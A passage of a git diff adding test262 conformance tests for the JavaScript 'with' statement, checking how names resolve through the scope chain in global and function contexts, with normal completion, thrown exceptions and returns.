+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ }
+ f();
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try {
+ value;
+ $ERROR('#18: value is not defined');
+} catch(e) {
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T5.js
new file mode 100644
index 000000000..2e3534367
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.12_T5.js
@@ -0,0 +1,156 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.12_T5.js
+ * @description Calling a function without "with" statement declared within the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ var f = function(){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ }
+ f();
+} catch(e){
+ result = e;
+}
+
+if(!(result === undefined)){
+ $ERROR('#0: result === undefined. Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T1.js
new file mode 100644
index 000000000..a749c9c20
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T1.js
@@ -0,0 +1,136 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.1_T1.js
+ * @description Using "with" inside of global context leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T2.js
new file mode 100644
index 000000000..d07cb0e69
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T2.js
@@ -0,0 +1,145 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.1_T2.js
+ * @description Using "with" inside of global context leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T3.js
new file mode 100644
index 000000000..200209019
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.1_T3.js
@@ -0,0 +1,147 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.1_T3.js
+ * @description Using "with" inside of global context leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#0: result === "myObj_value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 === undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T1.js
new file mode 100644
index 000000000..20a344d48
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T1.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.2_T1.js
+ * @description Calling a function without "with" statement when the statement itself is declared within the function declaration, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+f();
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T2.js
new file mode 100644
index 000000000..39312c70a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T2.js
@@ -0,0 +1,149 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.2_T2.js
+ * @description Calling a function without "with" statement when the statement itself is declared within the function declaration, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ return value;
+ }
+}
+result = f();
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T3.js
new file mode 100644
index 000000000..f34c7cb94
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T3.js
@@ -0,0 +1,152 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.2_T3.js
+ * @description Calling a function without "with" statement when the statement itself is declared within the function declaration, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
